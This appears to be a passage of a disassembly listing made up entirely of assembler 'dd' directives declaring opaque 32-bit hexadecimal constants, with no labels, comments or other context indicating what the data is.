dd 65F0F0F1h, 97C2858h, 0EBBF5620h, 82AF40C3h, 6FFE093Fh
dd 6354097Eh, 7B5B310Bh, 10384AE9h, 0C48C4E9Eh, 34DF90C8h
dd 0C1BE04AEh, 14570EA8h, 8242F3EBh, 572A64DCh, 50339CE0h
dd 5F37C312h, 2315FBB6h, 0E158F3BBh, 1C683578h, 6516AB62h
dd 171B04EEh, 0BBBF008Fh, 0C2644470h, 0B11AC4B1h, 5675DFE0h
dd 29403616h, 87210FFh, 6009317Dh, 6EF4776Bh, 7FD62C0Bh
dd 55115109h, 0E012AF29h, 9670E9EAh, 4BBA02FDh, 2076D404h
dd 0B600E0Fh, 8402576Fh, 56D6E439h, 0B0052900h, 48F8E928h
dd 0B3C47CDCh, 0C3BEC448h, 0C5ABDD1Bh, 18C7E9A8h, 0E530C2B2h
dd 23598453h, 302A7E74h, 0D40BC7Ch, 112546C4h, 41025470h
dd 0D4CFD02Dh, 0BB990994h, 91BF5312h, 2A30BBCAh, 0F89D5F88h
dd 8C215191h, 794FA638h, 2D913EE8h, 0DB6F4CE4h, 0FA41122Eh
dd 7016018Ch, 7376E1BDh, 80F55B7Bh, 44B0254Ch, 3504C17Dh
dd 2D305D06h, 798C2E82h, 22C82D5h, 385D1FCBh, 316859D0h
dd 387B1726h, 259E69D5h, 5ACC7C5Dh, 53BD764Ch, 0B0E9C261h
dd 3509EE50h, 0D7C62D8Dh, 17B83100h, 0E9167003h, 74FE1CD3h
dd 5074E206h, 274080A1h, 0B88402B9h, 0C12956F4h, 8043E65Ch
dd 0EBB131E6h, 70575D17h, 18D44AC2h, 0EFD10B6Ch, 0ECA05547h
dd 36781FB2h, 414091B0h, 60172F68h, 0A22F9346h, 876BD10Dh
dd 0C9716ADBh, 5100C7FEh, 2F7F90B9h, 7D589D4Bh, 10E3084Ch
dd 0A44B22C9h, 0B54925AFh, 1F0A041Ah, 0CFC06227h, 5CB63788h
dd 5149AA1Bh, 0F27D7Ah, 555A6E32h, 3C4366BDh, 954D7506h
dd 5A06D0F7h, 508580D5h, 4913E4B8h, 3FE1FB2Ah, 0C94EE12Ah
dd 734CBC03h, 1932E7BFh, 410A250h, 0F9A5FE84h, 45778E40h
dd 0CF2750B2h, 4B367F60h, 96F3BC13h, 1C2BCD1h, 0EA30F349h
dd 0B81F220Eh, 349D5ABFh, 0E32628B3h, 8B528FAAh, 0D3E54C2h
dd 604D8E86h, 360D79ADh, 742918FDh, 0A5004E9h, 0B0CA875Ah
dd 13B5B20Ch, 0CC228668h, 0E988029Fh, 0B1B62B5h, 9B5FF234h
dd 8FBEF1E9h, 65E8C87Bh, 56E688E8h, 8B20E7BFh, 34D50EE9h
dd 3238346Ah, 0E435BFEAh, 0A7065905h, 0C524CCABh, 47BD5018h
dd 48307F44h, 0FA281BBFh, 60882B6h, 974E3CCDh, 0A2E9227Ch
dd 6422B4DEh, 0EF0648D7h, 0FA64855Ah, 9BB5B98h, 12212F3Fh
dd 0E3A5200h, 0CBF04426h, 3D5AE918h, 0EEC4FE42h, 4ED1495Eh
dd 9A708107h, 947BA469h, 90CBB9Ah, 98D3C7B4h, 5A973C75h
dd 0E30E61BBh, 6C6F6BE2h, 6320CB80h, 870B0B9Fh, 4299E9F3h
dd 88756520h, 59007CAFh, 685DE831h, 0B9395F01h, 81D1D250h
dd 5C012D0Fh, 7FD86B56h, 49F301BEh, 0C2E9111Fh, 269622Bh
dd 0AE6858C7h, 0B00C460Ah, 0DE56E8A7h, 0D7FD9679h, 7E81C2DFh
dd 0DABCC909h, 0D4A9802Fh, 6195902Ah, 0F7E255D7h, 165C8404h
dd 0B11290F9h, 416AA519h, 4508FF58h, 301E87CCh, 7CE4358Fh
dd 36125AB2h, 614579Dh, 2DCB09B4h, 0D7DA0389h, 0B3FBFA5Ah
dd 5F03B2E0h, 0D1601FEEh, 2393BBA9h, 0C92A516Fh, 5BA97A84h
dd 5EFFC14h, 0D7E2792h, 2018BA07h, 0C3C021D7h, 4B8C3750h
dd 5FAE566h, 68D0AB08h, 9A3D0AE9h, 4D2702B0h, 0CA090B59h
dd 7E5A4F54h, 0E89237AFh, 7A045413h, 2123C8Dh, 0E438705Ch
dd 626B005Fh, 12164341h, 44A09DE9h, 1E6314DBh, 0F2C2A692h
dd 51165D05h, 7E3E2D00h, 82053CE3h, 75FC2D38h, 70232C2h
dd 9E6BCFE9h, 0D3B8410h, 0E1EDFC5Eh, 68CCF9F7h, 0F7755EA5h
dd 0F0221779h, 0FBD6CCF8h, 9BE53F13h, 46A8A844h, 5F030696h
dd 70951233h, 6713A026h, 4F933D0Fh, 83E2B0FFh, 3A1C0208h
dd 5D35922Bh, 2B656CFFh, 3B7A7C33h, 0EB5E5913h, 559F58Fh
dd 35A0680Bh, 0E90E3177h, 8004A4E5h, 45659E6Bh, 0ECF93A4Bh
dd 96300841h, 9CA40FEh, 0F69481F9h, 649F5AA0h, 89D7B06Bh
dd 0E5805CB0h, 2C245CBCh, 351F7652h, 0A73511E5h, 4198AF0h
dd 0D05475B8h, 94EFB858h, 17D51C31h, 0B56128Bh, 68D440C2h
dd 5B62559Fh, 1E9A8540h, 39B0F4h, 4D703FCAh, 0A2ADE92Fh
dd 0D4C14BDEh, 4A6FE301h, 0F66760C6h, 0E5A257h, 43744BB3h
dd 0EFC9EC30h, 124C9AD8h, 34F5ACE9h, 0EBD813EAh, 0F6BEA184h
dd 6931DA52h, 0F7F25F44h, 16DDDC82h, 0C9907C44h, 0E29801E6h
dd 354F260Ch, 31A0C4Dh, 0E9AD5A7Ch, 2E57B15Ch, 74277C9Ah
dd 97FF54EFh, 5FADE85Ah, 0EB4A84ECh, 7F207639h, 2B5D815Fh
dd 16C529B4h, 5E31AFDh, 0B4895030h, 6D17B73Fh, 0D6094652h
dd 0B5A7987Fh, 0E5D007AEh, 3330F580h, 0EDB0B3CDh, 1725E9C9h
dd 0C7550043h, 9D923663h, 4A02BA58h, 31A10C5Dh, 0C22C7FFBh
dd 7A1C0818h, 0F58B73E9h, 0FDB6A6A9h, 2FA99794h, 28686230h
dd 0E1CC704Ah, 7B5545ABh, 39CB1040h, 9257AB6h, 5AC95738h
dd 0E0C1A0FFh, 962D4008h, 976A818h, 50801107h, 580B58C5h
dd 4615A056h, 984A4D32h, 173F5E69h, 0B5B1EB5h, 18D5FF7Dh
dd 7B670AE7h, 515D24A9h, 11081845h, 0E92CD189h, 5F98EBC5h
dd 1C223EAAh, 8035532Bh, 687B1E1Ah, 0B5A62FB3h, 226497A0h
dd 8A15C028h, 9948C30Ah, 6B3DD77h, 5760E706h, 0B8929D0Fh
dd 0BDEA5C81h, 0DC84D327h, 0F1C6805Ah, 0AF267732h, 0C851D1Ah
dd 60820517h, 0E6BA01BFh
dd 306BC151h, 370B33FEh, 0B24F1E80h, 0AB1F8E05h, 0ED590630h
dd 33B43B14h, 1FC975AAh, 0D7D0895Ah, 0FF288596h, 609B5F73h
dd 17048E37h, 893E5159h, 3D8C92CFh, 8D0BEF8Ah, 0FC510102h
dd 0B2BDAF42h, 5E5A5F17h, 0F9FF3D0Fh, 3B9DFE58h, 0A5B84ED7h
dd 0B328E430h, 4EB03039h, 59EE2013h, 500A02FFh, 805C21B4h
dd 3073C401h, 0E9F858E6h, 0A1F1E0ECh, 0EE044B94h, 61BEA4C4h
dd 0EDE9CA64h, 50A22B11h, 65D99193h, 0C05A023Fh, 2716ABDBh
dd 0BDD62F15h, 20C16860h, 5A342D6Ah, 26D27000h, 32C13336h
dd 7D290F43h, 200074CAh, 1FE93908h, 807EA95Ah, 0FD54C0C1h
dd 0F75A972Dh, 593D7E09h, 83607DB6h, 2FF158C5h, 19A35F04h
dd 64B95618h, 0C63D030h, 5FB340D6h, 0BD620E02h, 0D1071354h
dd 0D4D25CCCh, 79E0C2FEh, 0C1A6937Fh, 85C36442h, 2C5298FEh
dd 0B2ECF14Fh, 86E808F4h, 2B9D8052h, 983A5779h, 0E6077F91h
dd 634617C0h, 93A81053h, 6119967Ch, 61EE97CCh, 8709ED2Bh
dd 40478F16h, 8AE85E85h, 804A6E58h, 62A5E735h, 0C1F6F8F5h
dd 7F090BBAh, 962B917Eh, 0C4564805h, 1A3EFA01h, 0E0E9BE7Bh
dd 0CDE9A535h, 0E2606413h, 5A12F99Dh, 2AA12361h, 7B785FDDh
dd 9DA229CBh, 0C60BCF4Ah, 12D39AF8h, 0EF5B5453h, 2D2A3D99h
dd 0E32FE3h, 9D592F17h, 0C3F12B05h, 0A3C1600h, 8914021Bh
dd 0F2315AD6h, 2E0BA870h, 86234B07h, 8A95EE41h, 29AC42ECh
dd 0E118590h, 28BA8516h, 7B7E2D7Bh, 0F0A8CB64h, 227A8BD0h
dd 0B9041FE2h, 149C8102h, 265AD131h, 0A3BA028Ah, 8050642Ch
dd 1D3AE4ADh, 8696A043h, 72FC263Ch, 0A11F1465h, 802B680h
dd 0CB048122h, 61B77FE2h, 87FC44EFh, 0C958F869h, 24E65E55h
dd 0BCCF3E00h, 765A2F95h, 0AB765A7Eh, 0CC802E03h, 1FEC99B9h
dd 0E225090h, 7556DEF7h, 0C3C210EEh, 710D4807h, 807F8E21h
dd 477405D0h, 76EA19C4h, 86988D03h, 842FEDE9h, 5FCAB7h
dd 0B27A336Ah, 68005015h, 8886D73h, 967D34E9h, 2655820Dh
dd 64DD17B7h, 0EEF9E07Eh, 2515B4B4h, 5A736270h, 7FA6C0B5h
dd 7CFE2E36h, 4B602A3h, 0CA5D1A80h, 5E0805D2h, 681A42EBh
dd 17D254C2h, 522969h, 7247287Bh, 6E23B060h, 49A603FFh
dd 519F2CD9h, 7DF4AF9Fh, 1D636D88h, 0DF1A8959h, 70F10F9Bh
dd 0B8DF485Bh, 49760117h, 50F18E09h, 9EB107C4h, 70EEB80h
dd 5FC357CBh, 7C025FEh, 53B5585Bh, 3425BB44h, 0F75A9574h
dd 0E98664E7h, 0F166DE0h, 437CC4BEh, 0C1730172h, 8005B72Bh
dd 3273BD0Ch, 6740E96Ch, 73C343DCh, 0DB1F071Dh, 0DBC9F089h
dd 4869B58h, 0A6494A72h, 7260872Dh, 9C6059B6h, 0EEBD5AD0h
dd 16CEB151h, 5DB749CEh, 8AF556A9h, 0AF18DFDFh, 0B758545Dh
dd 0CCC1CF1h, 5E681608h, 0A6C30948h, 0F452F1Ah, 0F0058992h
dd 0CFAED021h, 4A3B6939h, 88A35457h, 303DCD3Dh, 8D12D8EAh
dd 1BD74D21h, 6BE9550Fh, 9FB52238h, 211668B5h, 0E7EA7E88h
dd 81AD79DAh, 45C87F74h, 0BFB57452h, 762D6716h, 702B6B1h
dd 8581FD5Ah, 88AD07C1h, 753CDDEh, 8251D028h, 9E77EE12h
dd 21544EAFh, 13A1EDCCh, 0A5EFF4EEh, 0A8ADF70Eh, 0CCBB3961h
dd 0C2552F4Ch, 0F7814038h, 2DD3059h, 0A04868F0h, 2F76875Ch
dd 0CEB7695Ah, 7A5AA2Ch, 0C44B1F98h, 0CCC1EB0Eh, 0BB05F592h
dd 4A757A45h, 2A7DDFBAh, 23255253h, 8AA353F0h, 1291EB68h
dd 1D74B301h, 0C35EDE87h, 0A5FE0AF4h, 7A9C3FCAh, 0EDB9E47h
dd 275C2368h, 97F79455h, 2DF18420h, 0D49752CDh, 0F02093AFh
dd 0CB0FBFD5h, 4525F237h, 8EEFB6F0h, 0C8F65F75h, 0FE735103h
dd 81AC5B40h, 472921Bh, 0B3D44CA8h, 27D5E510h, 9F0AF051h
dd 31EA259Eh, 0C7179060h, 483A516Eh, 1A052356h, 0BE261519h
dd 7FC5E7D2h, 0E9D99343h, 0B9C381D0h, 0D662F54h, 7CEE82E9h
dd 4544F9h, 1C3BECBBh, 0EA8A9D33h, 73E50047h, 38351A30h
dd 266D4812h, 782531C0h, 10A0000Ah, 3A44192Dh, 6E0E3531h
dd 0D2D98ED5h, 0EAE91904h, 250304E8h, 42120EF4h, 0D3A0DFD2h
dd 657589B9h, 0F0412730h, 5A9A8A7Ah, 0E9ED88D8h, 2CD64B7Dh
dd 0DA9D22FFh, 0F925F75Ch, 675FC981h, 0EEE91F8Ah, 0A250AFC0h
dd 2A16C604h, 0DBE145FFh, 48519D3Bh, 3870AA1Dh, 0F5BC2EE1h
dd 0EDD6E9E0h, 0A4270BB2h, 59677677h, 58342658h, 0F0FD1523h
dd 3A9905B8h, 0E1852D69h, 4630FF87h, 0B8556B54h, 5D8A0CE0h
dd 141865E8h, 0D27E662Eh, 0D2683F83h, 0AD580070h, 815DFB13h
dd 711321CFh, 8EF010E3h, 2460FC7h, 0E7C054D8h, 77067C4Dh
dd 82021690h, 0E9E3AED6h, 0B735F071h, 9B8A05EEh, 4836BCFDh
dd 9196F4BFh, 6F91339h, 5986098Ch, 958528AAh, 70DBEACEh
dd 48E8D100h, 1A0D2D40h, 50F3EB16h, 4EC413D1h, 75BC8704h
dd 0BF4D9457h, 0D46D60Dh, 665CB38Bh, 0D8259077h, 107182E6h
dd 7B4D5C25h, 4CEDCA10h, 62F7682Ch, 4D51F295h, 0E12DDB20h
dd 7F2312BBh, 84D62AEAh, 0D593425Ah, 50BE7E96h, 10A5BC1h
dd 0F64417A7h, 94B3EF9h, 10C65E5Bh, 0C1F140FDh, 0D3D2309h
dd 132CFCEFh, 8BB8C057h, 47659E31h, 3A325E7Fh, 41089C6h
dd 27B2EE0Ch, 2A19F603h, 0C0770DBh, 1F574DE4h, 5B23E6C0h
dd 3E286E27h, 0D7DB7000h, 4C4B33E9h, 79816275h, 0B63AE621h
dd 0AB391A9Eh, 742D621Fh, 176D42D6h, 1BEB76Ch, 0F45ABBB2h
dd 0E9275614h, 5B4F7E76h, 794C94E0h, 64F556Fh, 0CEE3107h
dd 0A035C6BAh, 907EC2D0h, 6ADE3Bh, 50205BF2h, 4CA1E964h
dd 12D7E3FDh, 5082B876h, 2FE5F237h, 15020221h, 111E0405h
dd 55E0BD3h, 0AFF18BD1h, 4BA37E20h, 4C8CCC46h, 7572040h
dd 1635B768h, 117B378h, 5431338Eh, 590B67B8h, 0B8D68A2Ch
dd 0CFC4D2AAh, 0CED68EFEh, 8028B911h, 0C15A2120h, 0B2524008h
dd 81E2E8CFh, 0F6FA8608h, 0C28E3FD7h, 0E964FE1Bh, 0EAA82Bh
dd 7C62B0BEh, 73F331BFh, 8BD8175Eh, 0FC6CEB1Ch, 0EF519F0Ch
dd 18B85062h, 0F1B9AD2Bh, 0F8897D49h, 0EB8185C8h, 221F340Eh
dd 0AACBC010h, 0C0429A13h, 0C1058448h, 0C350091Bh, 7B957AA0h
dd 6F4827D8h, 0C69D3BFFh, 35D99D21h, 0F816E942h, 6A509750h
dd 0EBC9C52Ah, 3666816h, 0EE9D6CABh, 0C0A83EEDh, 0F1A6AEE4h
dd 1756AC5Eh, 0CC72C683h, 4ADAD891h, 1F2AE85Bh, 1601590Dh
dd 573C685Dh, 72BA5654h, 0B0588D28h, 68525600h, 3E1A1DEDh
dd 6B46905Ah, 0D2005513h, 77C058F9h, 34A1495Ah, 0BB395466h
dd 152B0F0Bh, 0F0E2D90Bh, 48227377h, 96F725CDh, 0A8029853h
dd 0B0E6D1BAh, 974650B6h, 9826737Ah, 0DEE0462h, 0AB71CA1Fh
dd 81865D4h, 0A87EFCECh, 3F15BB27h, 0B15B5C50h, 2DA0E443h
dd 901F0998h, 0D4ED42EDh, 0BA5200BBh, 1FB73F2h, 48EC39F3h
dd 0A9579687h, 0E9C264B7h, 0D2A4D242h, 5B3EA3F8h, 0E620C0E8h
dd 7DE0C03Eh, 0C630BD17h, 1569D1Fh, 0A9600599h, 0AD4640D3h
dd 99598ECh, 0ABC5FFD2h, 0C87CAA89h, 2C163077h, 2DE0886h
dd 40C8FBECh, 0BD34E200h, 3E91A75h, 3772ED8h, 4C49B7CEh
dd 92108FB3h, 7E8925E8h, 584CBD8Ch, 0BDBB86Ah, 947D348Bh
dd 5AE97E1Dh, 0A211CCB5h, 4AAD3016h, 12B683F8h, 70322A04h
dd 0C9AA016Ch, 680A01F4h, 5921F7B4h, 91C3011Ah, 82018946h
dd 41FDB0Ch, 39940070h, 0FEC16527h, 10756C6Eh, 3AEAED20h
dd 0C0CA7324h, 0F7814F4Ah, 18345B09h, 0F438D58Ch, 1B4F80E9h
dd 5B4FFB28h, 98B82870h
dd 9640B84Eh, 116B563Dh, 68D20BF7h, 0B9514903h, 4D6C9580h
dd 0BFE5C178h, 5009BCD0h, 7926C468h, 7DCA806Bh, 90B81B8Ch
dd 5458CC7Eh, 2152050h, 68ED2C5Bh, 6B461134h, 0E963B704h
dd 24AA6148h, 8BE4AF4Ch, 404C1D2Eh, 0C607BD0Bh, 0E4FB557Bh
dd 3DD2F918h, 0CA608FEEh, 66F0094Bh, 0AD40B587h, 61040D82h
dd 6EE95F21h, 296849A0h, 396E7A8Dh, 2D366D1Fh, 108D1F79h
dd 0FC2E25A9h, 31344B3Bh, 0F04591AAh, 5727A6Eh, 128BD02Dh
dd 8B797368h, 84E85882h, 510A48DBh, 0A9600F3h, 0C1897B99h
dd 8A8036A4h, 9BAA55E9h, 0A8D8AC61h, 0D2FA6E59h, 6AF52A5Eh
dd 0D4EA8E02h, 880E83C2h, 0FC4C58E2h, 21FF4EADh, 8C06BF74h
dd 5B88A0B1h, 0F0544FB1h, 8016D9FBh, 8E45EAF1h, 6DC1CA28h
dd 46B71FA3h, 2A2E7F10h, 0B43BECF3h, 5B9B65C2h, 0A173DEDh
dd 8D01616Ch, 489476E1h, 0DCAE1715h, 80462D31h, 7CED8100h
dd 45960717h, 41C5E800h, 9D7A9B4Fh, 8832B52h, 3F500C02h
dd 5F5B606Eh, 0BE06C76Eh, 1D2068C8h, 92632693h, 0D0A9C946h
dd 0BFA16E5Dh, 680BC0F3h, 69E3FED2h, 0BEF02206h, 16FEAD4Bh
dd 2F3CEF40h, 808D400Dh, 1873C348h, 0EB112599h, 0D92814AEh
dd 0F232BD5Bh, 828D4B06h, 0DC76CA52h, 12CA6488h, 0E8F0885Ch
dd 4989E040h, 4C9F1DC6h, 0C961EA73h, 0D806BC65h, 122EEA0Eh
dd 2666C0Bh, 5A5EB78Eh, 0EF32025h, 526557Ch, 0D698B032h
dd 80A64B28h, 6212B551h, 3A8DE888h, 2F020730h, 31E8F1E9h
dd 7B0946B8h, 8021036Ch, 0CCF815Dh, 4A29562h, 0AD8905DDh
dd 27F25538h, 0FC10140h, 19B27A0Eh, 0F5E01F65h, 16E1F47Bh
dd 17AA111Dh, 23BD06BFh, 10C512Fh, 8C9CAB58h, 7559CE31h
dd 72F7ECD0h, 3FC3D997h, 1A610B0Bh, 18EDC105h, 70E9CD07h
dd 826BEC69h, 74A0A224h, 82AC62D2h, 5B64157Eh, 86A1AF84h
dd 0A3291C4Ch, 70B8EAAFh, 1EB206F9h, 6094E280h, 81BABA4Ch
dd 790548ACh, 0F46CFAEDh, 0D722E24Fh, 0EAB224BFh, 0B4930AB6h
dd 34509376h, 0B6EC49A0h, 10A8EA4Fh, 3404FEA2h, 0E92098EBh
dd 94153D25h, 3EC10525h, 824EB05Bh, 66D735B9h, 0D4DA2E74h
dd 3765ADB8h, 0D2B6FE93h, 401D2354h, 29275FB3h, 55A56AD7h
dd 0E4392438h, 8C0D59BDh, 0FDBFD995h, 67875E95h, 5E329568h
dd 0B4D8161Eh, 5B5C257h, 0F5005FA5h, 6B271D9Ch, 68C50A29h
dd 84575806h, 12EFB2E9h, 637D49BAh, 0E74777E1h, 0CF44C3EDh
dd 548836E8h, 55D7F709h, 5591C4BDh, 9DAF85F5h, 0D45B7654h
dd 8BBBC2C4h, 55FF400Bh, 0CBD8F780h, 29010880h, 0FC440928h
dd 0B3B36DF9h, 78148600h, 0EA53BB21h, 854F4BA9h, 912287B1h
dd 7F0F924Ah, 8AE92681h, 515A0C3Eh, 471F3DB0h, 111360E4h
dd 6DBC4A85h, 0E0D4C9DEh, 0F6847848h, 0D49A6725h, 0D2561FB5h
dd 94882A4h, 0EB0680D5h, 4167826h, 5BDD8908h, 84E5AF21h
dd 0C5ACCCD4h, 0C259582Eh, 0B7983A85h, 4EB0FC88h, 2D15E90Bh
dd 9D6C2501h, 0B65EE9B0h, 0C4BD5125h, 3B5C7C34h, 7B9F7E41h
dd 0DC50146h, 3051EA56h, 301392DFh, 0B1132935h, 0B5FB79A0h
dd 43AAE2C8h, 545C992Fh, 984B8BE3h, 3178C96h, 28AF010Bh
dd 9C5E86F1h, 9DCA9425h, 2567E90Bh, 37C01D34h, 8CE9C80Fh
dd 62D3B9D7h, 9BD8Ah, 108B6B11h, 2F23481h, 16C9FE0Dh, 8123Fh
dd 0FBA58F8h, 0F61704E7h, 8217F201h, 0E69752A2h, 8FF52712h
dd 52DF20A3h, 398036B2h, 0C281B1CAh, 0E9EAD0E5h, 1CF42C85h
dd 822DAA34h, 5DEBED60h, 9F90103Ah, 2BC9178h, 0A0B20472h
dd 0A810CDA2h, 0D3F705E7h, 0FD05DD87h, 0AC361A7Bh, 0C0265132h
dd 18DAF26Eh, 0CD6171A5h, 0AC1716D0h, 7176BF68h, 758F136Eh
dd 0EBD4EE29h, 0F6410A12h, 0EC1FD93Eh, 0F9226A25h, 47ADEF18h
dd 1F7A3DEDh, 20C696Eh, 582DE28Ah, 6CE91922h, 20C3A727h
dd 55B292FAh, 31D0F70Eh, 71095AC2h, 880DB43Bh, 0E91757EBh
dd 0E9F8FB8Eh, 397CCFA2h, 5603D524h, 0D929456Dh, 7FEE0CDFh
dd 0DB578C92h, 2E98A6A6h, 0B6AD1242h, 0A28E2828h, 1AE0B4Ah
dd 0A9415392h, 24093A85h, 588E5E50h, 782472B5h, 940C8D52h
dd 92D7C21h, 26C60519h, 702713F6h, 68530C10h, 5FBF7042h
dd 52D4E565h, 0E0C83A84h, 34D10FE1h, 206B3E2Ch, 0C3BB0BA0h
dd 825FF454h, 0DDBCFBC5h, 1F03A550h, 3B5A3719h, 4179374Ch
dd 35C37A0Ch, 540C251Eh, 20B5AD0h, 8709B119h, 0CD60FD32h
dd 18D82541h, 0AE3EF046h, 20050C0Eh, 1750540Dh, 2707D4E0h
dd 0E3548FE9h, 16A1BF83h, 0C78191EDh, 0BA6367ECh, 0E960F52h
dd 0EF800BE0h, 6FF07E9Bh, 69E4895Ah, 0A1D1BF5Dh, 29CBE989h
dd 0C6C000F9h, 13234EEBh, 38CE2915h, 42097A63h, 4D3AB7h
dd 3F21A665h, 98D0A065h, 1E79265Eh, 0AAFE1203h, 0FE25C272h
dd 0CAC1901h, 29FB0419h, 3DE23AD2h, 0BDBD9C4h, 0C63D459h
dd 554C8F4h, 0CD73EA01h, 6A572D68h, 0BC5A4EE0h, 98FEA769h
dd 5600DFCFh, 442D5E47h, 37670F79h, 794F801h, 4913E90Bh
dd 77EB327Dh, 831C5C42h, 235F8C09h, 0FAB3014Ah, 4F3B003h
dd 0F91E150Ch, 0EFE3C037h, 655C1D09h, 0D45CEAh, 8602A5B8h
dd 0BFC051Fh, 563A9773h, 0B935815Fh, 35C04822h, 0CD4F05A8h
dd 0E953E927h, 792D0079h, 293C6D4Ah, 456813D8h, 0F9ADCC49h
dd 54DE7500h, 8106EBC1h, 52F403CBh, 0E94B337Eh, 25551DEAh
dd 5CB06E8Ch, 5CC0F840h, 0B980E57Eh, 0C14BD85Ah, 983C6397h
dd 0FF2141Eh, 0D2F74A08h, 0EBEE220h, 1EC172AFh, 49D51DFBh
dd 0F67F030h, 13B69C4h, 0C5AC0136h, 0F1457446h, 4E9F4B5Bh
dd 0DD6ACFDh, 2CA01B1Fh, 2D9BD480h, 59588590h, 83B9CAFBh
dd 33109FE9h, 38D04514h, 3F5885A1h, 0EB13310h, 1400133h
dd 0CF43970Dh, 7A5825D8h, 2D51004Fh, 48BA30B3h, 4BFA2C05h
dd 77B97F48h, 502C2EFAh, 0C42DB9A7h, 0E86202Eh, 12FF084Bh
dd 0E82AEBB8h, 2DC2045Ah, 6E5441B9h, 0E16E7AA8h, 0DDA282F3h
dd 0E062CE08h, 1F7535A3h, 4445A513h, 0FB0FA2E9h, 90056E40h
dd 90143909h, 9FFF70A5h, 0D751BB74h, 54108B29h, 0DAF61A6Bh
dd 0B0936304h, 4C5AD028h, 0B7B0A352h, 0FA0B882Eh, 4794FDE9h
dd 0F825B876h, 302D1314h, 692C76C3h, 0E9878E79h, 120E42AFh
dd 1020CBFBh, 0A84BD9E5h, 7900D6E5h, 8AD3449h, 16C37781h
dd 0B1F752CBh, 0EED23E37h, 9A4D0A1h, 285C91BDh, 38F1C620h
dd 0F5EC7448h, 0BC132D01h, 706D68E9h, 0EAC14628h, 302E4A20h
dd 35174596h, 0DBE78C9h, 0AE08DF30h, 0F8429318h, 0F8E0FAE0h
dd 95721FDFh, 30631D25h, 670B6856h, 9D5D799Ah, 69344B14h
dd 0F14E4DA3h, 22F77EC2h, 0E64EF917h, 0F6688390h, 0A2EA8457h
dd 1BA992B6h, 1737FD92h, 31308E03h, 5BAD55BDh, 41B3016Eh
dd 2E083A13h, 0F68BED04h, 0B51EB200h, 0ED0E8093h, 0AED5288Ch
dd 4308B2C5h, 0DBF70E90h, 0CCFA97FDh, 611443FFh, 20808BDh
dd 5BC04BC6h, 6C8A2F01h, 9104D0Ch, 0A3A06F1Ch, 20185BA0h
dd 0A60B894Fh, 0DD2A1D7Ch, 0D127AC07h, 13F4DAD8h, 4EA219C9h
dd 1A5073Ah, 0AD4ECA0h, 95603568h, 0E4E446Fh, 25FF491Fh
dd 2042B45Dh, 5897CE55h, 1E70BB6Fh, 29FA0C8h, 0B7F1032h
dd 0C9F55120h, 464C837Bh, 4CDC05FFh, 81EB6563h, 0D724BE01h
dd 1273E284h, 8CEAD86Eh, 0D9A1482h, 4731BD1Ch, 0C7BA1CCFh
dd 5F8B70DCh, 68130A1Ch, 334372h, 8EEF9DF7h, 19EC19C4h
dd 7982320Bh
dd 220A3D2Dh, 16BAD8C0h, 0C06F0158h, 0A0C90F96h, 0EAEE4A31h
dd 5079A76h, 0ED4C2B05h, 4144BC74h, 71CA7F07h, 23E6E909h
dd 4D2CE3C8h, 560EAD27h, 685941C5h, 646CC230h, 26E91380h
dd 5D1AE262h, 5A597401h, 0F69DD9F0h, 294D5815h, 0FF02F693h
dd 404B381Dh, 4ED168ECh, 87F73572h, 0EA7C39A5h, 0CF76B305h
dd 0F54459E1h, 1E58080Ch, 0C66102FCh, 0DDFFE93Ch, 5424CD58h
dd 0C110B75Bh, 0FC259D3Fh, 5E4BA558h, 70D8CCA9h, 7295A468h
dd 0B6C79757h, 0C5875C25h, 0FA7AEEEh, 1375F676h, 0FB71744Eh
dd 8181284h, 3910371Ch, 831328E9h, 58462861h, 492D557Fh
dd 25BDE95Dh, 44AA3DCh, 8F249DBDh, 28A4C02Ah, 5C5EBB66h
dd 84013E9h, 731EC05Eh, 4D05470Fh, 4A7B7B90h, 766FEB2Fh
dd 0E8010A1Ch, 0C9F416E1h, 0FE7DA79Ch, 6BBE5C4Fh, 0E082AC6Ch
dd 0A6D3BD01h, 6D3C5727h, 11A004A0h, 2FBB38C0h, 0B82B140Eh
dd 9242758Bh, 71DA5DDFh, 4DDCCA03h, 104C62D8h, 2D9A03C9h
dd 0F125303Eh, 0C57F7544h, 3690983h, 2C838E5Eh, 0DD54B231h
dd 9FCC9C10h, 6B132E2Eh, 1919408h, 0E068CA31h, 54CD2A1Eh
dd 60297AD0h, 308EC618h, 0F1EC0AC6h, 68498C0Ch, 3A80C0Dh
dd 0E973867Fh, 3E00DD61h, 4A2198B8h, 4A37684Bh, 0FF063050h
dd 1201012Fh, 0A39F381h, 0EBD8348Dh, 0EDE71787h, 4F9CECB6h
dd 3305DF1h, 3270003Bh, 731F2DC8h, 0E09764F7h, 0ACE89A15h
dd 436816C7h, 3474BA2Fh, 383CB2EDh, 95301AFh, 0FDA84A17h
dd 0A661EE4Ah, 3C29AF35h, 0A61B8604h, 71FDFC33h, 680F53F4h
dd 565C1F02h, 35E31300h, 0C216760Dh, 0A8071AC6h, 0B18447C3h
dd 0CB0D6823h, 0AA2202F9h, 60520B98h, 0A02A2B20h, 3D432151h
dd 6B96115Fh, 1C33AA45h, 46B2F7B6h, 0CDEDA01Eh, 5E301703h
dd 4A1BBC3Ch, 3FA37200h, 0D6FAE90Fh, 0DE5CE43Fh, 3E6C182h
dd 81EAFC2Ah, 0C8BD5546h, 0C03A9AD3h, 9FB2E915h, 0FA281000h
dd 0D12D305Bh, 7E36F05Ah, 800E0B52h, 9876E9EBh, 0B151D380h
dd 0E4D9F626h, 0DFD0C9D1h, 0D298FAEEh, 7B93D5Eh, 0E5CCF973h
dd 1FE91803h, 0BEF22F09h, 3D7B2B1Eh, 29839EC9h, 6B302E4Bh
dd 38B1EC06h, 0BA4A6E27h, 0B851BA2Ch, 6A6295D8h, 83D1CD54h
dd 0AFC43105h, 303635C2h, 10063A05h, 3BBE72FCh, 0FE31050Bh
dd 0A8F0215Fh, 5357C18Ah, 0E0E367BBh, 131FBF08h, 7BDB97h
dd 0B104AD19h, 42952925h, 0C8080B2Dh, 80508F37h, 7613A768h
dd 33A712B9h, 2158EC03h, 74BE510Dh, 984A1C0Bh, 0F5F18541h
dd 85F30717h, 6017B192h, 5C646DDBh, 0D0BBED17h, 6476C503h
dd 0C11E2C14h, 33FC79C5h, 6F8C531Eh, 1205307Bh, 73D5AC3h
dd 0E9595598h, 0C17ECBF0h, 1375BE82h, 62204009h, 5E3F1810h
dd 1A1F9645h, 0C3E33B50h, 3F206841h, 18A412Eh, 79A5B5h
dd 131C355Dh, 3316394h, 0EE190A56h, 8D1CFA76h, 19F2F2Eh
dd 8EA283Fh, 4E140CD0h, 76539DD1h, 66D02800h, 2C5B5A09h
